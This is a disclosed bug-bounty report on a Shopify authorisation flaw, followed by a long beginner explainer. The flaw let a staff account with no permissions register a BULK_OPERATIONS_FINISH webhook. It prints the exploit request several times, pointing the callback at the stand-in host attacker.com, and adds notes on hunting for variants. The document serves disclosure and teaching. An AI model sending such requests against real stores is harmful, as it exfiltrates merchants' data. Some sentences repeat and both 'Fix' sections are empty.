Staff can use BULK_OPERATIONS_FINISH webhook topic using Graphql without permissions all
A staff account with no permissions could create a webhook subscription for the BULK_OPERATIONS_FINISH topic through a GraphQL mutation. This could let such a user receive bulk operation data they should not be able to access.
- Triaged in 20 hours
- Fixed in 2 months
- Paid in 8 days
- Disclosed after 2 months
I am reporting this because it looks like an authorization bug in GraphQL. A Staff member with no permissions on a Shopify Store may be able to create Webhooks with the webhookSubscriptionCreate mutation on BULK_OPERATIONS_FINISH webhook topic.
POST /admin/internal/web/graphql/core?operation=PageStaff HTTP/1.1 Host: yinvi-nacho-2.myshopify.com Connection: close
{ "operationName": "webhookSubscriptionCreate", "variables": { "topic": "BULK_OPERATIONS_FINISH", "webhookSubscription": { "callbackUrl": "https://attacker.com" } }, "query": "mutation webhookSubscriptionCreate($topic: WebhookSubscriptionTopic!, $webhookSubscription: WebhookSubscriptionInput!) {\r\n webhookSubscriptionCreate(topic: $topic, webhookSubscription: $webhookSubscription) {\r\n userErrors {\r\n field\r\n message\r\n }\r\n webhookSubscription {\r\n id\r\n }\r\n }\r\n}" }
Impact
Staff with no permissions may be able to access or perform unauthorized actions on bulk-operation https://shopify.dev/api/usage/bulk-operations/queries
Context
Shopify stores expose an admin GraphQL API. Part of that API is the webhook subscription surface: a merchant or an app can register a callback URL that Shopify will call when a given topic fires. One of those topics is BULK_OPERATIONS_FINISH, which relates to the bulk operations feature described in Shopify's developer documentation for bulk operation queries.
The report concerns the staff permission model on a Shopify store. A staff member can be granted a set of permissions, and the expectation is that a staff member with no permissions should not be able to perform privileged actions. The researcher found that such a staff member could still create a webhook subscription for the BULK_OPERATIONS_FINISH topic through the admin GraphQL endpoint, which looked like an authorisation bug.
Setup
The researcher used a Shopify store at yinvi-nacho-2.myshopify.com and a staff account with no permissions. The request shown is a direct HTTP POST to the internal admin GraphQL endpoint with a JSON body.
The report describes a staff account with no permissions on the store and a request sent to the admin GraphQL endpoint.
Finding it
The researcher describes the issue as looking like an authorisation bug in GraphQL. The specific observation is that a staff member with no permissions on a Shopify store may be able to create webhooks with the webhookSubscriptionCreate mutation on the BULK_OPERATIONS_FINISH webhook topic. In other words, the mutation is reachable and accepted for a principal who should not have the rights to register webhooks at all.
Exploitation
Step 1: send the mutation as the unprivileged staff member
The researcher issued the following request to the admin GraphQL endpoint, using the staff session:
POST /admin/internal/web/graphql/core?operation=PageStaff HTTP/1.1
Host: yinvi-nacho-2.myshopify.com
Connection: close
{
"operationName": "webhookSubscriptionCreate",
"variables": {
"topic": "BULK_OPERATIONS_FINISH",
"webhookSubscription": {
"callbackUrl": "https://attacker.com"
}
},
"query": "mutation webhookSubscriptionCreate($topic: WebhookSubscriptionTopic!, $webhookSubscription: WebhookSubscriptionInput!) {\r\n webhookSubscriptionCreate(topic: $topic, webhookSubscription: $webhookSubscription) {\r\n userErrors {\r\n field\r\n message\r\n }\r\n webhookSubscription {\r\n id\r\n }\r\n }\r\n}"
}
The important parts:
- The path is the internal admin GraphQL endpoint,
/admin/internal/web/graphql/core, with the query stringoperation=PageStaff. operationNameiswebhookSubscriptionCreate, so the request is a mutation rather than a query.- The
topicvariable is set toBULK_OPERATIONS_FINISH. - The
webhookSubscriptioninput setscallbackUrltohttps://attacker.com, an endpoint the researcher controls. - The mutation body selects
userErrors(withfieldandmessage) and the createdwebhookSubscription'sid.
The report does not include the response body, so the exact server reply is not shown. The researcher frames the finding cautiously, saying a staff member with no permissions may be able to create such a webhook.
Root cause
The report frames this as an authorisation bug in GraphQL: the webhookSubscriptionCreate mutation accepts the BULK_OPERATIONS_FINISH topic from a staff principal who holds no permissions. The report does not describe the server-side check or its absence, so the precise mechanism is not stated. The report does not describe the server-side check or its absence in any more detail, so the precise mechanism is not stated.
Impact
As the researcher puts it, staff with no permissions may be able to access or perform unauthorised actions on bulk operations. Concretely, the demonstrated capability is registering a webhook with an attacker-controlled callback URL for the BULK_OPERATIONS_FINISH topic. What data such a webhook delivers, and whether that data is sensitive, is not described in the report. The impact statement is hedged ("may be able to"), and the affected party is the store whose staff account is used.
Fix
Variants to test
- Try other webhook topics with the same mutation from a no-permission staff account. A positive result is a successful
webhookSubscriptionCreatereturning awebhookSubscription.idwith nouserErrors. - Try other webhook-related mutations (for example, listing or deleting subscriptions) from the same account. A positive result is any operation that returns data or changes state without the expected permission.
- Try the same mutation with different
callbackUrlvalues to see whether validation differs by URL. A positive result is acceptance of a callback URL that should be rejected. - Try the mutation from staff accounts with partial permissions to map which permission, if any, gates the topic. A positive result is a topic that is creatable without the permission that logically covers it.
Hunting notes
This kind of bug tends to hide where a product has a fine-grained permission model and a large GraphQL surface: individual mutations and individual enum values (here, a webhook topic) can each carry their own check, and one of them can be missed. During recon, look for internal admin GraphQL endpoints and note the operation query parameter pattern, then compare what a low-privilege account can do against what the UI allows.
What happened, in plain words
A Shopify store is an online shop. Behind the shop there is an admin area where the owner and their helpers (called staff) manage products, orders and settings. Each staff member can be given a set of permissions, and the whole point of permissions is that someone with none should not be able to do anything important.
The researcher found that a staff member with no permissions at all could still ask Shopify to send automatic notifications to a web address of the researcher's choosing. Those notifications are called webhooks, and the specific kind involved fires when a bulk operation finishes. A bulk operation is a large background job, for example exporting or importing a lot of data at once.
So the short version is: a user with no permissions may have been able to set up a notification that would send data out of the store to a server the researcher controls. The researcher calls this an authorisation bug in GraphQL, which is the technology the admin area uses to talk to Shopify's servers.
Background you need first
What an API is
An API is a way for one piece of software to ask another piece of software to do something, without a human clicking buttons. A useful comparison is a restaurant. The menu is the list of things you can order, the waiter carries your order to the kitchen, and the kitchen sends back a dish. The API is the waiter plus the menu: a fixed list of requests you are allowed to make, and a fixed format for the answer.
When you click around in a web admin panel, your browser is quietly making these API requests for you. A person can also make them by hand, which is what the researcher did here.
What GraphQL is
GraphQL is a particular style of API. Instead of many separate addresses for many separate actions, there is usually one address, and the request body describes exactly what you want: which action to run and which fields of the result to return. The description is written in a small query language, which is where the name comes from.
Two words come up constantly in GraphQL:
- A query asks for information and changes nothing. Like asking the waiter what is on the menu.
- A mutation asks for a change to be made. Like placing an order. The request in this report is a mutation, because it creates something new.
What a webhook is
A webhook is an automatic phone call from one service to another. You give a service a web address and say "when this event happens, send a message to this address". You do not have to keep asking "has it happened yet?"; the service tells you.
In Shopify, a merchant or an app registers a callback URL, which is the address that will be called, and picks a topic, which is the kind of event that should trigger the call. When that event happens, Shopify sends an HTTP request to the callback URL with details about the event.
What the BULK_OPERATIONS_FINISH topic is
A bulk operation is a big job that runs in the background, such as exporting a large amount of store data. Because it can take a while, Shopify lets you start it and then notifies you when it is done. BULK_OPERATIONS_FINISH is the topic that fires at that moment. The report links to Shopify's developer documentation for bulk operation queries, which describes this feature.
What a staff permission model is
On a Shopify store, the owner can invite staff members and tick boxes to say what each one may do. Some staff might be allowed to edit products, others to view orders, and so on. A staff member with no boxes ticked is expected to be able to do essentially nothing privileged. This report is about a case where that expectation was broken.
What an authorisation bug is
Authentication and authorisation are two different questions:
- Authentication is "who are you?". Logging in answers this.
- Authorisation is "are you allowed to do this?". Permissions answer this.
An authorisation bug means the system correctly knows who you are, but then lets you do something you should not be allowed to do. The everyday comparison is a hotel key card: the card proves you are a guest (authentication), but it should only open your own room (authorisation). If it opens every room, that is an authorisation bug.
What a session is
When a staff member logs in, the server gives the browser a small piece of data, often called a session cookie or token, which the browser sends with every later request. It is like a wristband at an event: you show it once at the door, and after that staff glance at your wrist instead of asking for your ID again.
Setting up the test
The researcher used a Shopify store at yinvi-nacho-2.myshopify.com and a staff account on that store with no permissions assigned. The request shown is a raw HTTP POST with a JSON body.
The report describes a staff account with no permissions on the store and a request sent to the admin GraphQL endpoint.
Finding the problem
The researcher describes the issue as looking like an authorisation bug in GraphQL. The specific observation is that a staff member with no permissions on a Shopify store may be able to create webhooks using the webhookSubscriptionCreate mutation on the BULK_OPERATIONS_FINISH webhook topic.
Put another way: the mutation that registers a webhook may have been reachable for a user who should not have the right to register webhooks at all. The word "may" matters here, because the report phrases the finding cautiously.
Reproducing it
Step 1: send the mutation as the unprivileged staff member
The researcher sent the following request to the admin GraphQL endpoint, using the staff member's session:
POST /admin/internal/web/graphql/core?operation=PageStaff HTTP/1.1
Host: yinvi-nacho-2.myshopify.com
Connection: close
{
"operationName": "webhookSubscriptionCreate",
"variables": {
"topic": "BULK_OPERATIONS_FINISH",
"webhookSubscription": {
"callbackUrl": "https://attacker.com"
}
},
"query": "mutation webhookSubscriptionCreate($topic: WebhookSubscriptionTopic!, $webhookSubscription: WebhookSubscriptionInput!) {\r\n webhookSubscriptionCreate(topic: $topic, webhookSubscription: $webhookSubscription) {\r\n userErrors {\r\n field\r\n message\r\n }\r\n webhookSubscription {\r\n id\r\n }\r\n }\r\n}"
}
Here is what each part means, in plain words.
POST /admin/internal/web/graphql/core?operation=PageStaff HTTP/1.1is the first line of an HTTP request.POSTmeans "I am sending data to the server". The path/admin/internal/web/graphql/coreis the internal admin GraphQL endpoint, the single address the admin area uses for GraphQL. The part after the question mark,operation=PageStaff, is a query string, a small piece of extra information attached to the address.HTTP/1.1is the version of the web protocol being used.Host: yinvi-nacho-2.myshopify.comtells the server which site the request is for. One server can host many sites, so this header picks out the right one.Connection: closeasks that the network connection be closed after this one request, rather than kept open for reuse.- The blank line separates the headers from the body. Everything after it is the JSON body, which is the actual instruction.
"operationName": "webhookSubscriptionCreate"names the operation being run. The name matches the mutation, and it tells us this is a mutation, meaning it changes something, rather than a query that only reads."variables"is a block of values passed into the mutation separately from the query text. This keeps the query text fixed and the values swappable."topic": "BULK_OPERATIONS_FINISH"chooses which event should trigger the webhook. Here it is the event that fires when a bulk operation finishes."webhookSubscription": { "callbackUrl": "https://attacker.com" }is the input describing the webhook to create.callbackUrlis the address Shopify will call, and it is set tohttps://attacker.com, a domain the researcher controls. That is the heart of the issue: if the webhook were created, data would be sent to a server of the researcher's choosing."query"holds the GraphQL mutation text itself. It declares two variables,$topicof typeWebhookSubscriptionTopic!and$webhookSubscriptionof typeWebhookSubscriptionInput!. The exclamation mark means the value is required and cannot be empty.webhookSubscriptionCreate(topic: $topic, webhookSubscription: $webhookSubscription)is the mutation being called, with the two variables plugged in.userErrors { field message }asks the server to return any validation problems, saying which field was wrong and what the message is. This is how you find out whether the request was rejected.webhookSubscription { id }asks the server to return the identifier of the webhook it created.
The report does not include the response body, so the exact server reply is not shown. The researcher frames the finding cautiously, saying a staff member with no permissions may be able to create such a webhook.
Why it works
The report frames this as an authorisation bug in GraphQL: the webhookSubscriptionCreate mutation accepts the BULK_OPERATIONS_FINISH topic from a staff user who holds no permissions.
The report does not describe the server-side check or its absence, so the precise mechanism is not stated. Think of a building where every door needs a badge, except one side door that was never wired to the badge reader. The report does not describe the server-side check or its absence in any more detail, so the precise mechanism is not stated.
Impact
As the researcher puts it, staff with no permissions may be able to access or perform unauthorised actions on bulk operations. Concretely, the demonstrated capability is registering a webhook with an attacker-controlled callback URL for the BULK_OPERATIONS_FINISH topic.
What data such a webhook delivers, and whether that data is sensitive, is not described in the report. The impact statement is hedged ("may be able to"), and the affected party is the store whose staff account is used.
Fix
Other things worth testing
- Try other webhook topics with the same mutation from a no-permission staff account. A positive result is a successful
webhookSubscriptionCreatereturning awebhookSubscription.idwith nouserErrors. - Try other webhook-related mutations, for example listing or deleting subscriptions, from the same account. A positive result is any operation that returns data or changes state without the expected permission.
- Try the same mutation with different
callbackUrlvalues to see whether validation differs by URL. A positive result is acceptance of a callback URL that should be rejected. - Try the mutation from staff accounts with partial permissions to map which permission, if any, gates the topic. A positive result is a topic that is creatable without the permission that logically covers it.
Notes for people hunting similar bugs
This kind of bug tends to hide where a product has a fine-grained permission model and a large GraphQL surface. Each individual mutation and each individual enum value (here, a webhook topic) can carry its own check, and one of them can be missed. It is like a large office with hundreds of doors, each with its own lock: the odds are good that one lock was never fitted.
During recon, look for internal admin GraphQL endpoints and note the operation query parameter pattern, then compare what a low-privilege account can do against what the user interface allows.
Glossary
- API: a fixed set of requests one piece of software can make to another, with a defined format for the answers.
- Authentication: proving who you are, usually by logging in.
- Authorisation: deciding whether an identified user is allowed to perform a particular action.
- Authorisation bug: a flaw where the system knows who you are but lets you do something you should not be permitted to do.
- Bulk operation: a large background job, such as exporting or importing a lot of data at once.
BULK_OPERATIONS_FINISH: the webhook topic that fires when a bulk operation completes.- Callback URL: the web address a service will call when a webhook event happens.
- Cookie: a small piece of data a browser stores and sends back to a site, often used to keep you logged in.
- Endpoint: a specific address on a server that accepts requests.
- Enum: a fixed list of allowed values, such as the set of possible webhook topics.
- GraphQL: a style of API where one address accepts requests describing exactly which action to run and which fields to return.
- Header: a line of extra information sent alongside an HTTP request or response, such as the host name.
- HTTP: the protocol browsers and servers use to exchange requests and responses on the web.
- JSON: a text format for structured data, made of names and values in curly braces and square brackets.
- Mutation: in GraphQL, a request that changes something, as opposed to a query that only reads.
- Permission: a right granted to a user account, such as the ability to edit products.
- Query: in GraphQL, a request that only reads information.
- Query string: the part of a URL after a question mark, carrying extra parameters.
- Session: the state of being logged in, usually represented by a cookie or token sent with each request.
- Staff account: a user account on a Shopify store belonging to someone other than the owner, with permissions chosen by the owner.
- Token: a piece of data used to prove identity or grant access, similar in role to a session cookie.
- Topic: in webhooks, the kind of event that triggers the call, such as a finished bulk operation.
- Webhook: an automatic HTTP request sent by one service to a URL you registered, when a chosen event occurs.
webhookSubscriptionCreate: the GraphQL mutation that registers a new webhook subscription.